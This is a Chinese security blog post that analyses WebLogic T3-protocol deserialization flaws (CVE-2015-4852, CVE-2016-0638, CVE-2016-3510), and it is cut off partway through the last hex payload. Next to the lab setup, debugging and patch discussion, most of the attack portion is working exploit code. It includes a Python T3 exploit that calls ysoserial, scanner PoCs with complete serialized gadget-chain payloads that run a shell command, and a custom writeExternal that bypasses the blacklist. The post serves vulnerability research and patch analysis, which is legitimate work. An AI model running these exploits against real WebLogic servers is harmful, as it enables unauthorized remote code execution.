长亭百川云 - 文章详情

Weblogic T3协议漏洞分析(一)

bluE0x00

42

2024-07-13

前言

记录Weblogic漏洞分析过程,参考了很多师傅的分析文章,链接放在后记中。

正文

环境搭建

搭建环境参考:

https://github.com/QAX-A-Team/WeblogicEnvironment

将对应版本的JDK与Weblogic分别放入/jdks和/weblogics目录中:

Oracle官网即可下载:

https://www.oracle.com/java/technologies/downloads/archive/

https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

Oracle WebLogic Server 10.3.6支持的最低JDK版本为JDK1.6, Oracle WebLogic Server 12.1.3支持的最低JDK版本为JDK1.7,Oracle WebLogic Server 12.2.1及以上支持的最低JDK版本为JDK1.8。

Docker构建:

`docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .``   ``docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21`

由于Centos8已与2022年底停止维护,这里需要提前跟换yum源:

`RUN cd /etc/yum.repos.d/``RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*``RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*`

配置远程调试:

`kdir ./middleware``docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/``docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/``docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib`

将docker中的主要lib目录拷贝出来,IDEA直接打开wlserver并将coherence_3.7与modules作为lib导入项目:

同时将/wlserver/server/lib目录作为lib导入:

配置remote调试端口即可:

启动调试:

T3协议:

Weblogic RMI是Weblogic对于Java RMI的实现,其主要使用Weblogic自有的T3协议和基于Corba的IIOP协议进行客户端与服务端之间的传输。

数据包中前四个字符描述数据包长度,而后为T3的协议头,同时每个标准反序列化头部aced0005前会新增一个fe010000字段:

更多内容参考:

https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704

CVE-2015-4852

影响范围:

  • Oracle WebLogic Server 10.3.6.0

  • Oracle WebLogic Server 12.2.1.0

  • Oracle WebLogic Server 12.1.3.0

  • Oracle WebLogic Server 12.1.2.0

漏洞分析:

找了一份sp4z师傅的脚本:

`from os import popen``import struct # 负责大小端的转换``import subprocess``from sys import stdout``import socket``import re``import binascii``   ``def generatePayload(gadget,cmd):`    `YSO_PATH = "/Users/.../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar"`    `popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)`    `return popen.stdout.read()``   ``def T3Exploit(ip,port,payload):`    `sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)`    `sock.connect((ip,port))`    `handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"`    `sock.sendall(handshake.encode())`    `data = sock.recv(1024)`    `compile = re.compile("HELO:(.*).0.false")`    `match = compile.findall(data.decode())`    `if match:`        `print("Weblogic: "+"".join(match))`    `else:`        `print("Not Weblogic")`        `return`    `header = binascii.a2b_hex(b"00000000")`    `t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")`    `desflag = binascii.a2b_hex(b"fe010000")`    `payload = header + t3header  +desflag+  payload`    `payload = struct.pack(">I",len(payload)) + payload[4:]`    `sock.send(payload)``if __name__ == "__main__":`    `ip = "127.0.0.1"`    `port = 7001`    `gadget = "CommonsCollections1"`    `cmd = "touch /tmp/success"`    `payload = generatePayload(gadget,cmd)`    `T3Exploit(ip,port,payload)`

大概利用过程如下:

代码调试:

`//wlserver/server/lib/wlthint3client.jar/weblogic/InboundMsgAbbrev.readobject()``   ``private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {`    `int var2 = var1.read();`    `switch (var2) {`        `case 0:`            `return (new ServerChannelInputStream(var1)).readObject();`        `case 1:`            `return var1.readASCII();`        `default:`            `throw new StreamCorruptedException("Unknown typecode: '" + var2 + "'");`    `}``}`

在此处下断点,可看到已修改后的序列化数据:

通过ServerChannelInputStream.resovleClass()方法加载类:

而ServerChannelInputStream继承自ObjectInputStream,而此处的resolveClass方法也是调用父类方法未有任何处理,故造成反序列化漏洞:

下面就是正常的反序列化利用链流程了。

引用文章中的流程图:

修复方案

Weblogic选择resolveClass中添加类黑名单用于过滤反序列化利用链中所涉及的类,在其中一个补丁包中我们可以看到这个isBlackListed方法:

来自ClassFilter,过滤反序列化攻击所使用的关键类:

`package weblogic.rmi;``   ``import java.util.HashSet;``import java.util.StringTokenizer;``   ``public abstract class ClassFilter {`  `static final String BLACK_LIST_PROPERTY = "weblogic.rmi.blacklist";``   `  `static final String DISABLE_DEFAULT_BLACKLIST_PROPERTY = "weblogic.rmi.disabledefaultblacklist";``   `  `static final String DISABLE_BLACK_LIST_PROPERTY = "weblogic.rmi.disableblacklist";``   `  `private static final String DEFAULT_BLACK_LIST = "+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure";``   `  `private static final HashSet<String> BLACK_LIST = new HashSet<String>();``   `  `static {`    `if (!isBlackListDisabled()) {`      `if (!isDefaultBlacklistEntriesDisabled())`        `updateBlackList("+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure");``      updateBlackList(System.getProperty("weblogic.rmi.blacklist", null));`    `}``  }``   `  `private static boolean isBlackListDisabled() {`    `return Boolean.getBoolean("weblogic.rmi.disableblacklist");`  `}``   `  `private static boolean isDefaultBlacklistEntriesDisabled() {`    `return Boolean.getBoolean("weblogic.rmi.disabledefaultblacklist");`  `}``   `  `private static void updateBlackList(String blackList) {`    `if (blackList != null) {`      `StringTokenizer st = new StringTokenizer(blackList, ",");`      `while (st.hasMoreTokens()) {`        `String token = st.nextToken();`        `processToken(token);`      `}``     }  ``  }``   `  `private static void processToken(String token) {`    `if (token.startsWith("+")) {`      `BLACK_LIST.add(token.substring(1));`    `} else if (token.startsWith("-")) {`      `BLACK_LIST.remove(token.substring(1));`    `} else {`      `BLACK_LIST.add(token);`    `}``  }``   `  `public static boolean isBlackListed(String className) {`    `String pkgName;`    `if (className.length() > 0 && BLACK_LIST.contains(className))`      `return true;``    try {`      `pkgName = className.substring(0, className.lastIndexOf('.'));`    `} catch (Exception ignored) {`      `return false;`    `}``    return (pkgName.length() > 0 && BLACK_LIST.contains(pkgName));`  `}``}`

这个黑名单主要作用于三个类的resolveClass方法:

`weblogic.iiop.Utils.class` `weblogic.rjvm.MsgAbbrevInputStream.class``weblogic.rjvm.InboundMsgAbbrev.class`

同时也有师傅提到,开放在外网的情况下,还可以采用web代理和负载均衡。

  • web代理的方式只能转发HTTP的请求,而不会转发T3协议的请求,这就能防御住T3漏洞的攻击。

  • 负载均衡的情况下,可以指定需要进行负载均衡的协议类型,这么这里就可以设置为HTTP的请求,不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。

CVE-2016-0638

影响范围:

  • Oracle WebLogic Server 10.3.6.0

  • Oracle WebLogic Server 12.2.1.0

  • Oracle WebLogic Server 12.1.3.0

  • Oracle WebLogic Server 12.1.2.0

漏洞分析:

上文中我们提到,补丁对weblogic.iiop.Utils.class,weblogic.rjvm.MsgAbbrevInputStream.class,weblogic.rjvm.InboundMsgAbbrev.class三个类中的反序列化过程进行了黑名单过滤,而在weblogic.jms.common.StreamMessageImpl类的readExternal方法中同样存在readObject操作:

所以我们需自定义实现一个StreamMessageImpl类。

观察其writeExternal与readExternal方法可见,我们需要自定义实现一个writeExternal逻辑将payload写入序列化过程:

`public void writeExternal(ObjectOutput var1) throws IOException {`    `super.writeExternal(var1);`    `int var3 = Integer.MAX_VALUE;`    `ObjectOutput var2;`    `if (var1 instanceof MessageImpl.JMSObjectOutputWrapper) {`        `var3 = ((MessageImpl.JMSObjectOutputWrapper)var1).getCompressionThreshold();`        `var2 = ((MessageImpl.JMSObjectOutputWrapper)var1).getInnerObjectOutput();`    `} else {`        `var2 = var1;`    `}``   `    `byte var4;`    `if (this.getVersion(var2) >= 30) {`        `var4 = (byte)(3 | (this.shouldCompress(var2, var3) ? -128 : 0));`    `} else {`        `var4 = 2;`    `}``   `    `var2.writeByte(var4);`    `if (this.isCompressed()) {`        `if (var4 == 2) {`            `this.decompress().writeLengthAndData(var2);`        `} else {`            `this.flushCompressedMessageBody(var2);`        `}``   `    `} else {`        `Object var5;`        `if (this.bos != null) {`            `var5 = this.bos;`        `} else {`            `if (this.payload == null) {`                `var2.writeInt(0);`                `return;`            `}``   `            `var5 = this.payload;`        `}``   `        `if ((var4 & -128) != 0) {`            `this.writeExternalCompressPayload(var2, (Payload)var5);`        `} else {`            `((Payload)var5).writeLengthAndData(var2);`        `}``   `    `}``}``   ``public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {`    `super.readExternal(var1);`    `byte var2 = var1.readByte();`    `byte var3 = (byte)(var2 & 127);`    `if (var3 >= 1 && var3 <= 3) {`        `switch (var3) {`            `case 1:`                `this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);`                `BufferInputStream var4 = this.payload.getInputStream();`                `ObjectInputStream var5 = new ObjectInputStream(var4);`                `this.setBodyWritable(true);`                `this.setPropertiesWritable(true);``   `                `try {`                    `while(true) {`                        `this.writeObject(var5.readObject());`                    `}`                `} catch (EOFException var9) {`                    `try {`                        `this.reset();`                        `this.setPropertiesWritable(false);`                        `PayloadStream var7 = this.payload.copyPayloadWithoutSharedStream();`                        `this.payload = var7;`                    `} catch (JMSException var8) {`                        `JMSClientExceptionLogger.logStackTrace(var8);`                    `}`                `} catch (MessageNotWriteableException var10) {`                    `JMSClientExceptionLogger.logStackTrace(var10);`                `} catch (javax.jms.MessageFormatException var11) {`                    `JMSClientExceptionLogger.logStackTrace(var11);`                `} catch (JMSException var12) {`                    `JMSClientExceptionLogger.logStackTrace(var12);`                `}`                `break;`            `case 3:`                `if ((var2 & -128) != 0) {`                    `this.readExternalCompressedMessageBody(var1);`                    `break;`                `}`            `case 2:`                `this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);`        `}``   `    `} else {`        `throw JMSUtilities.versionIOException(var3, 1, 3);`    `}``}`

参考项目代码:

https://github.com/zhzhdoai/Weblogic\_Vuln

自实现一个writeExternal逻辑:

`public void writeExternal(ObjectOutput var1) throws IOException {`    `super.writeExternal(var1);`    `ByteArrayOutputStream var2 = new ByteArrayOutputStream();`    `ObjectOutputStream var3 = new ObjectOutputStream(var2);``   `    `try {`        `var3.writeObject("payload_here");`        `var3.flush();`    `} catch (IllegalAccessException e) {`        `e.printStackTrace();`    `} catch (InvocationTargetException e) {`        `e.printStackTrace();`    `} catch (InstantiationException e) {`        `e.printStackTrace();`    `} catch (NoSuchMethodException e) {`        `e.printStackTrace();`    `} catch (ClassNotFoundException e) {`        `e.printStackTrace();`    `}`    `byte[] var5 = var2.toByteArray();`    `var1.writeByte(1);`    `var1.writeInt(var5.length);`    `var1.write(var5);`    `}`

为方便调试稍微改了一下weblogicScaner的poc:‍

`import binascii``import socket``import struct``import subprocess``import time``from multiprocessing.managers import SyncManager``from typing import Any, Dict, List, Mapping, Tuple, Union``   ``from stars import target_type, Star``   ``def light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -> (bool, dict):`        `# T3协议握手`        `dport = int(dport)`        `sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)`        `sock.settimeout(timeout)`        `try:`            `sock.connect((dip, dport))`        `except socket.timeout:`            `return False, {'msg': 'connection timeout.'}`        `except ConnectionRefusedError:`            `return False, {'msg': 'connection refuse.'}`        `sock.send(bytes.fromhex(`            `'74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))`        `time.sleep(delay)`        `sock.recv(1024)``   `        `# 构造T3协议头`        `data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'`        `data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format(`            `'{:04x}'.format(dport))`        `data3 = '1a7727000d3234322e323134'`        `data4 = '2e312e32353461863d1d0000000078'`        `for d in [data1, data2, data3, data4]:`            `sock.send(bytes.fromhex(d))`        `payload = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'`        `        # -------- 经StreamMessageImpl封装的反序列化利用链payload --------`        `payload += 'aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78'`        `        # ------------------------------------------------------`        `payload += 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'`        `payload = '%s%s' % ('{:08x}'.format(len(payload) // 2 + 4), payload)`        `sock.send(bytes.fromhex(payload))`        `time.sleep(delay)`        `try:`            `res = sock.recv(4096)`            `print(res)`            `return b'weblogic.jms.common.StreamMessageImpl' in res, {'msg': 'finish.'}`        `except socket.timeout:`            `return False, {'msg': 'connection timeout.'}``   ``if __name__ == "__main__":`    `ip = "127.0.0.1"`    `port = 7001`    `light_up(dip=ip,dport=port)`

跟一下代码:

`readExternal:1396, StreamMessageImpl (weblogic.jms.common)``readExternalData:1835, ObjectInputStream (java.io)``readOrdinaryObject:1794, ObjectInputStream (java.io)``readObject0:1348, ObjectInputStream (java.io)``readObject:370, ObjectInputStream (java.io)``readObject:66, InboundMsgAbbrev (weblogic.rjvm)``read:38, InboundMsgAbbrev (weblogic.rjvm)``readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)``init:213, MsgAbbrevInputStream (weblogic.rjvm)``dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)``dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)``dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)``readReadySocketOnce:967, SocketMuxer (weblogic.socket)``readReadySocket:899, SocketMuxer (weblogic.socket)``processSockets:130, PosixSocketMuxer (weblogic.socket)``run:29, SocketReaderRequest (weblogic.socket)``execute:42, SocketReaderRequest (weblogic.socket)``execute:145, ExecuteThread (weblogic.kernel)``run:117, ExecuteThread (weblogic.kernel)`

同样通过InboundMsgAbbrev为入口进行数据的read操作,但由于我们实现了StreamMessageImpl接口,反序列化过程将通过readOrdinaryObject方法调用readExternalData,进而进入到StreamMessageImpl.readExternal中绕过黑名单检测触发二次反序列化。

从流量特征上看并无太多变化,主要还是weblogic.jms.common.StreamMessageImpl类的出现,而weblogicScaner也是基于response来判断vulnerability:

CVE-2016-3510

影响范围:

  • Oracle WebLogic Server 10.3.6.0

  • Oracle WebLogic Server 12.2.1.0

  • Oracle WebLogic Server 12.1.3.0

  • Oracle WebLogic Server 12.1.2.0

漏洞分析:

同样是对补丁黑名单的绕过,这次使用的是weblogic.corba.utils.MarshalledObject这个类:

`public MarshalledObject(Object var1) throws IOException {`    `if (var1 == null) {`        `this.hash = 13;`    `} else {`        `ByteArrayOutputStream var2 = new ByteArrayOutputStream();`        `MarshalledObjectOutputStream var3 = new MarshalledObjectOutputStream(var2);`        `var3.writeObject(var1);`        `var3.flush();`        `this.objBytes = var2.toByteArray();`        `int var4 = 0;``   `        `for(int var5 = 0; var5 < this.objBytes.length; ++var5) {`            `var4 = 31 * var4 + this.objBytes[var5];`        `}``   `        `this.hash = var4;`    `}``}``   ``public Object readResolve() throws IOException, ClassNotFoundException, ObjectStreamException {`    `if (this.objBytes == null) {`        `return null;`    `} else {`        `ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);`        `ObjectInputStream var2 = new ObjectInputStream(var1);`        `Object var3 = var2.readObject();`        `var2.close();`        `return var3;`    `}``}`

MarshalledObject并未重写readObject方法或实现readExternal方法,使用原生的ObjectInputStream方法实现反序列化。

weblogic.corba.utils.MarshalledObject marshalledObject = new MarshalledObject(payload_here);

直接用MarshalledObject的构造方法生成对象,封装反序列化流:

还是使用上文中的poc脚本:

`import binascii``import socket``import struct``import subprocess``import time``from multiprocessing.managers import SyncManager``from typing import Any, Dict, List, Mapping, Tuple, Union``   ``from stars import target_type, Star``   ``def light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -> (bool, dict):`        `# T3协议握手`        `dport = int(dport)`        `sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)`        `sock.settimeout(timeout)`        `try:`            `sock.connect((dip, dport))`        `except socket.timeout:`            `return False, {'msg': 'connection timeout.'}`        `except ConnectionRefusedError:`            `return False, {'msg': 'connection refuse.'}`        `sock.send(bytes.fromhex(`            `'74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))`        `time.sleep(delay)`        `sock.recv(1024)``   `        `# 构造T3协议头`        `data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'`        `data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format(`            `'{:04x}'.format(dport))`        `data3 = '1a7727000d3234322e323134'`        `data4 = '2e312e32353461863d1d0000000078'`        `for d in [data1, data2, data3, data4]:`            `sock.send(bytes.fromhex(d))`        `payload = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'`        `        # -------- 经MarshalledObject封装的反序列化利用链payload --------`        `payload += 'aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612